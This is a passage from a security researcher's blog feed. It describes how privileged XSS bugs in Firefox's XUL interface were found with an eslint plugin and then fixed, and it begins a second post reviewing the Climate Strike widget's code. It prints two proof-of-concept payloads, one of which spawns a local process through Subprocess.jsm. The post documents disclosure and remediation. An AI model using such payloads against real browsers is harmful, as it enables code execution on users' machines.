&lt;h1&gt;Mapping the attack surface&lt;/h1&gt;
&lt;p&gt;Let's look into Firefox, to find some remnants of XUL, by visiting some internal pages. Let's take a look at some Firefox internal pages. By opening &lt;code&gt;about:preferences&lt;/code&gt; in a new tab (I won't be able to link to it for various good reasons). Now either look at the source code using the Developer Tools (right-click "Inspect Element") or &lt;a href="https://searchfox.org/mozilla-central/source/browser/components/preferences/in-content/preferences.xul"&gt;view the source code of Firefox Nightly using the source code search at searchfox.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can also open the developer console and poke around with the obscure objects and functions that are available for JavaScript in privileged pages. As a proof-of-concept, we may &lt;code&gt;alert(Components.stack)&lt;/code&gt;, which gives us a stringified JavaScript call stack - notably this is a JavaScript object that is left undefined for normal web content.&lt;/p&gt;
&lt;p&gt;Inspecting the source code we also already see some markup that screams both &lt;em&gt;XML&lt;/em&gt; as well as &lt;em&gt;XML-dialect&lt;/em&gt;. While still in our information gathering phase, we will not go too deep, but make note of two observations:
- XUL is not HTML. To get a better understanding of elements like &lt;code&gt;&amp;lt;command&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;colorpicker&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;toolbar&amp;gt;&lt;/code&gt;, we will be able to look at the &lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/XUL_Reference"&gt;XUL Reference on MDN&lt;/a&gt;
- XUL is scriptable! A &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag exists and it may contain JavaScript.&lt;/p&gt;
&lt;p&gt;There are also some newer pages like &lt;code&gt;about:crashes&lt;/code&gt;, which holds previously submitted (or unsubmitted) crash reports. Whether those internal pages are written in (X)HTML or XUL. Most of the interacive parts are written in JavaScript. I suppose most of you will by now understand that we are looking for Cross-Site Scripting (XSS) vulnerabilities in the browser interface. What's notable here, is that this bypasses the sandbox.&lt;/p&gt;
&lt;p&gt;As an aside the page behind &lt;code&gt;about:cache&lt;/code&gt; is actually implemented using C++ that emits HTML-ish markup.&lt;/p&gt;
&lt;h1&gt;Let's start with search and &lt;code&gt;grep&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Being equipped with the right kind of knowledge and the crave for a critical Firefox bug under my name, I started using our code search more smartly. Behold:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Search: &lt;code&gt;.innerHTML =&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Number of results: 1000 (maximum is 1000)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hm. Excluding test files.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Search: &lt;code&gt;innerHTML =&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Number of results: 414&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That's still a lot. And that's not even all kinds of XSS sinks. I would also look for &lt;code&gt;outerHTML&lt;/code&gt;, &lt;code&gt;insertAdjacentHTML&lt;/code&gt; and friends.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Search (long and hairy regular expression that tries to find more than innerHTML)&lt;/p&gt;
&lt;p&gt;Number of results: 997&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That's bad. Let's try to be smarter!&lt;/p&gt;
&lt;h1&gt;JavaScript Parsing - Abstract Syntax Trees. ESLint to the rescue!&lt;/h1&gt;
&lt;p&gt;I've actually dabbled in this space for a long while before. This would be another talk, but a less interesting one. So I'll skip ahead and tell you that I wrote an eslint plugin, that will analyze JavaScript files to look for the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checking the right-hand side in assignments (&lt;code&gt;+&lt;/code&gt;, &lt;code&gt;+=&lt;/code&gt;) where the left part ends with either  &lt;code&gt;innerHTML&lt;/code&gt; or &lt;code&gt;outerHTML&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Checking the first argument in calls to &lt;code&gt;document.write()&lt;/code&gt;, &lt;code&gt;document.writeln()&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt; and the second argument for &lt;code&gt;insertAdjacentHTML&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For both, we'll check whether they contain a variable. String literals or empty strings are ignored. The plug-in is available at as &lt;a href="https://github.com/mozilla/eslint-plugin-no-unsanitized"&gt;&lt;code&gt;eslint-plugin-no-unsanitized&lt;/code&gt;&lt;/a&gt; and allows for configuration to detect and ignore built-in escape and sanitize functions. If you're worried about DOM XSS, I recommend you check it out.&lt;/p&gt;
&lt;h1&gt;Discovered Vulnerabilities&lt;/h1&gt;
&lt;p&gt;Using this nice extension to scan all of Firefox yields us a handy amount of 32 matches. We create a spreadsheet and audit all of them by hand. Following around long calling chains, with unclear input values and patterns that either escape HTML close to the final &lt;code&gt;innerHTML&lt;/code&gt;, upon creation or stuff that's extracted from databses (like the browsing history), which does its escaping upon insertion.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;marquee&gt;Many nights later&lt;/marquee&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;A first bug appears&lt;/h2&gt;
&lt;p&gt;Heureka! This sounds interesting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="sb"&gt;    &amp;lt;div style=&amp;quot;flex: 1;&lt;/span&gt;
&lt;span class="sb"&gt;                display: flex;&lt;/span&gt;
&lt;span class="sb"&gt;                padding: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;IMAGE_PADDING&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;px;&lt;/span&gt;
&lt;span class="sb"&gt;                align-items: center;&lt;/span&gt;
&lt;span class="sb"&gt;                justify-content: center;&lt;/span&gt;
&lt;span class="sb"&gt;                min-height: 1px;&amp;quot;&amp;gt;&lt;/span&gt;
&lt;span class="sb"&gt;      &amp;lt;img class=&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;imageClass&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="sb"&gt;           src=&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;&amp;quot;/&amp;gt;       &amp;lt;----- boing&lt;/span&gt;
&lt;span class="sb"&gt;    &amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When hovering over an markup that points to an image in the web developer tools, they will helpfully create a tooltip that preloads and shows the image for the web developer to enjoy. Unfortunately, that URL is not escaped.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Firefox Developer Tools Inspector opening images in a tooltip when hovering an image element's source attribute" src="devtools-img-tooltip.png"&gt;&lt;/p&gt;
&lt;h1&gt;Writing the exploit&lt;/h1&gt;
&lt;p&gt;After spending a few sleepless nights on this, I didn't get anything beyond a XML-conformant proof of concept of  &amp;lt;button&amp;gt;i&amp;lt;/button&amp;gt;. At some point I filed the bug as &lt;code&gt;sec-moderate&lt;/code&gt;, i.e., this is almost bad, but likely needs another bug to be actually terrible. &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1372112#c22"&gt;I wrote&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I poked a bit again and I did not get further than &amp;lt;button&amp;gt;i&amp;lt;/button&amp;gt; for various reasons …
&lt;strong&gt;In summary: I'd be amazed to see if someone else gets any farther.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A few nights later, I actually came up with an exploit that breaks the existing syntax while staying XML conformant.
We visit an evil web page that looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;data:bb&amp;quot;/&amp;gt;&amp;lt;button&amp;gt;&amp;lt;img src=&amp;quot;x&amp;quot; onerror=&amp;quot;alert(Components.stack)&amp;quot; /&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;img src=&amp;quot;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The image URL that is used in the vulnerable code spans all the way from &lt;code&gt;data:&lt;/code&gt; to the closing single quote at the end. Our injection alerts &lt;code&gt;Components.stack&lt;/code&gt;, which indicates that we have left the realms of mortal humans.&lt;/p&gt;
&lt;p&gt;This is &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1372112"&gt;Bug 1372112 (CVE-2017-7795)&lt;/a&gt;. Further hikes through our spreadsheets of eslint violations lead to &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1371586"&gt;Bug 1371586 (CVE-2017-7798)&lt;/a&gt;. Both were fixed in Firefox 56, which was released in the fall of 2017.&lt;/p&gt;
&lt;p&gt;We find and fix some minor self-xss bugs (e.g., creating a custom preference in &lt;code&gt;about:config&lt;/code&gt; with the name of &lt;code&gt;&amp;lt;button&amp;gt;hi&amp;lt;/button&amp;gt;&lt;/code&gt; lead to XUL injections. All of them are fixed and we're fearful that mistakes will be made again.&lt;/p&gt;
&lt;p&gt;Critical bugs are a great way to impact coding style discussions and it is decided that the linter might as well be included in all of our linters. &lt;code&gt;innerHTML&lt;/code&gt; and related badness is forbidden and we rub our hands in glee.
Unfortunately, it turned out that lots of legacy code will not be rewritten and security engineers do not want to deal with the affairs of front end engineers (joke's on me in the end though, I promise).
So, we allow some well-audited and finely escaped functions with a granular and exception, that gives us a confident feeling of absolute security (it's a trap!)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// eslint-disable-next-line no-unsanitized/property&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;A Dark Shadow&lt;/h1&gt;
&lt;p&gt;I feel like I have eradicated the bug class from the entirety of our codebase. We may now look for more complicated bugs and our days get more exciting.&lt;/p&gt;
&lt;p&gt;Of course, I wander through the office bragging with my cleverness, warning young folks from the danger of XSS and proudly wearing my security t-shirts. There's lots of colorful war stories to be told and even more free snacks or fizzy drinks to be consumed.&lt;/p&gt;
&lt;p&gt;Meanwhile: My great colleagues that contribute and actually develope useful stuff. On top of their good work, some of them even mentor aspiring students and enthusiastic open source fans. Having listened to my stories of secure and well-audited code that should eventually be replaced, they make an effort to get someone remove all of the danger, so we get to live in an exception-less world that truly disallows all without these pesky &lt;code&gt;eslint-disable-next-line&lt;/code&gt; comments.&lt;/p&gt;
&lt;p&gt;Naturally, code is being moved around, refactored and improved by lots of other people in the organization.&lt;/p&gt;
&lt;p&gt;So, while I'm sitting there, enjoying my internet fame (just browsing memes, really), people show up at my desk asking me for a quick look at something suspicious:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// eslint-disable-next-line no-unsanitized/property&lt;/span&gt;
&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;addon-webext-perm-header&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// data coming *mostly* from localization-templates&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;gNavigatorBundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getFormattedString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;webextPerms.header&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;gNavigatorBundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getFormattedString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lwthemeInstallRequest.message2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="c1"&gt;// ..&lt;/span&gt;
&lt;span class="c1"&gt;// but of course all goes through _sanitizeTheme(aData, aBaseURI, aLocal)&lt;/span&gt;
&lt;span class="c1"&gt;// (which does not actually sanitize HTML)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I feel massively stupid and re-create my spreadsheet. Setting eslint to ignore the &lt;code&gt;disable-next-line&lt;/code&gt; stuff locally allows me to start all over.
We build an easy exploit that pops calc. How funny! We also notice that a few more bugs like that have crept in, since the "safe" call sites were whitelisted. Yikes.&lt;/p&gt;
&lt;p&gt;Having learned about XML namespaces, a simpler example payload (without the injection trigger) would like look this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html:img&lt;/span&gt; &lt;span class="na"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;Components.utils.import(&amp;quot;resource://gre/modules/Subprocess.jsm&amp;quot;);Subprocess.call({ command: &amp;quot;/usr/bin/gnome-open&amp;quot; });&amp;#39;&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1432778"&gt;Bug 1432778&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Hope on the horizon&lt;/h1&gt;
&lt;p&gt;A good patch is made and circulated with a carefully selected group of senior engineers. We have various people working on the code and are concerned about this being noticed by bad actors. With the help of the aforementioned group, we convince engineering leadership that this warrants an unscheduled release of Firefox. We start a simplified briefing for Release Management and QA.&lt;/p&gt;
&lt;p&gt;People point out that updates always take a while to apply to all of our release base and shipping a new version with a single commit that replaces &lt;code&gt;.innerHTML&lt;/code&gt; with &lt;code&gt;.textContent&lt;/code&gt; seems a bit careless. Anyone with a less-than sign on their keyboard could write a "1-day exploit" that would affect lots of users.&lt;/p&gt;
&lt;p&gt;What can we do? We agree that DOM XSS deserves a heavier hammer and change our implementation for HTML parsing (which is being used in &lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;outerHTML&lt;/code&gt;, &lt;code&gt;insertAdjacentHTML&lt;/code&gt;, etc.). Normally, this function parses the DOM tree and inserts where assigned. But now, for &lt;em&gt;privileged JavaScript&lt;/em&gt;, we parse the DOM tree and omit all kinds of badness before insertion. Luckily, we have something like that in our source tree. In fact, I have &lt;a href="https://frederik-braun.com/secreview-750436.html"&gt;tested it in 2013&lt;/a&gt;. We also use this to strip HTML email from &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; and its friends in Thunderbird, so it's even battle-tested.
On top, we do some additional manual testing and identify some problems around leaving form elements in, which warrants follow-up patches in the future.&lt;/p&gt;
&lt;p&gt;A nice benefit is that a commit which changes how DOM parsing works, doesn't allow reverse engineering our vulnerability from the patch. Neat.&lt;/p&gt;
&lt;p&gt;In the next cycles, we've been able to make it stricter and removed more badness (e.g., form elements). This was &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1432966"&gt;Bug 1432966: Sanitize HTML fragments created for chrome-privileged documents (CVE-2018-5124)&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Closing credits and Acknowledgements&lt;/h1&gt;
&lt;p&gt;Exploitation and Remediation were achieved with the support of various people. Thanks to, security folks, Firefox engineers, release engineers, QA testers. Especially to Johnathan Kingston (co-maintainer of the eslint plugin), Johann Hofman, who found the bad 0day in 2018 and helped testing, shaping of and arguing for an unscheduled release version of Firefox.&lt;/p&gt;
&lt;p&gt;No real geckos were harmed in the making of this blog post.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>XSS in The Digital #ClimateStrike Widget</title><link href="https://frederik-braun.com/xss-digital-climate-strike.html" rel="alternate"></link><published>2019-09-23T00:00:00+02:00</published><updated>2019-09-23T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2019-09-23:/xss-digital-climate-strike.html</id><summary type="html">&lt;p&gt;Life keeps me busy, which is why this blog is seeing less and less publications. It's also the reason why I couldn't join the Global Climate Strike on September 20th. Friends have pointed me towards the &lt;a href="https://digital.globalclimatestrike.net/"&gt;&lt;em&gt;Digital&lt;/em&gt; Global Climate Strike&lt;/a&gt;, where you can embed a script in your website and …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Life keeps me busy, which is why this blog is seeing less and less publications. It's also the reason why I couldn't join the Global Climate Strike on September 20th. Friends have pointed me towards the &lt;a href="https://digital.globalclimatestrike.net/"&gt;&lt;em&gt;Digital&lt;/em&gt; Global Climate Strike&lt;/a&gt;, where you can embed a script in your website and it will "go dark" on the strike day, drawing attention to the issue and calling people for action.&lt;/p&gt;
&lt;p&gt;The widget waits until September 20th 2019 and expands to a big green banner that would block the whole page. Now that the strike is over, it's just a no-op.&lt;/p&gt;
&lt;p&gt;&lt;img alt="mock-up of protesting web page" src="images/DCS_Mockup_Full2.png"&gt;&lt;/p&gt;
&lt;p&gt;Many organizations and websites took part in the Digital Global Climate Strike. Among them: tumblr, wordpress, imgur, wikimedia, boingboing, kickstarter, greenpeace, bittorrent, change.org, Tor project and many many more.&lt;/p&gt;
&lt;p&gt;&lt;img alt="list of participants from website" src="images/participants.png"&gt;&lt;/p&gt;
&lt;p&gt;JavaScript and web security is my cup of teap so I couldn't help bug dig in. Maybe this would be a fun opportunity to contribute?&lt;/p&gt;
&lt;p&gt;The websites also links to &lt;a href="https://github.com/fightforthefuture/digital-climate-strike"&gt;the &lt;em&gt;digital-climate-strike&lt;/em&gt; GitHub repository&lt;/a&gt; and invites to collaborate. OK, let's give this a read. The file and commit id I am reading is &lt;a href="https://github.com/fightforthefuture/digital-climate-strike/blob/0eb2621d0de84adbf9f8d88f99aa3b0e7486f7b9/static/widget.js"&gt;https://github.com/fightforthefuture/digital-climate-strike/blob/0eb2621d0de84adbf9f8d88f99aa3b0e7486f7b9/static/widget.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The source code starts with a list of settings that might be set on the parent page to allow the overlay be closed (or permanent) or redirect to a self-hosted copy of the widget and so on. &lt;code&gt;iframeHost&lt;/code&gt; defines the hostname of the iframe that is being added to the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DOM_ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DIGITAL_CLIMATE_STRIKE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DIGITAL_CLIMATE_STRIKE_OPTIONS&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;iframeHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iframeHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iframeHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://assets.digitalclimatestrike.net&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;footerDisplayStartDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;footerDisplayStartDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// August 1st, 2019 - arbitrary date in the past&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fullPageDisplayStartDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fullPageDisplayStartDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// September 20th, 2019&lt;/span&gt;
&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Below is a function &lt;code&gt;getIframeSrc()&lt;/code&gt; that uses the &lt;code&gt;iframeHost&lt;/code&gt; above. It includes a language check and forwards some of the options to the iframe itself (e.g., when disabling Google Analytics).&lt;/p&gt;
&lt;p&gt;The next function &lt;code&gt;createIframe()&lt;/code&gt;  creates the actual element and sets the &lt;code&gt;.src&lt;/code&gt; attribute according to the result of &lt;code&gt;getIframeSrc()&lt;/code&gt; as defined previously.&lt;/p&gt;
&lt;p&gt;Finally, it will add a message listener to get instructions from the iframe:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;receiveMessage&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let's look into this &lt;code&gt;receiveMessage&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;receiveMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
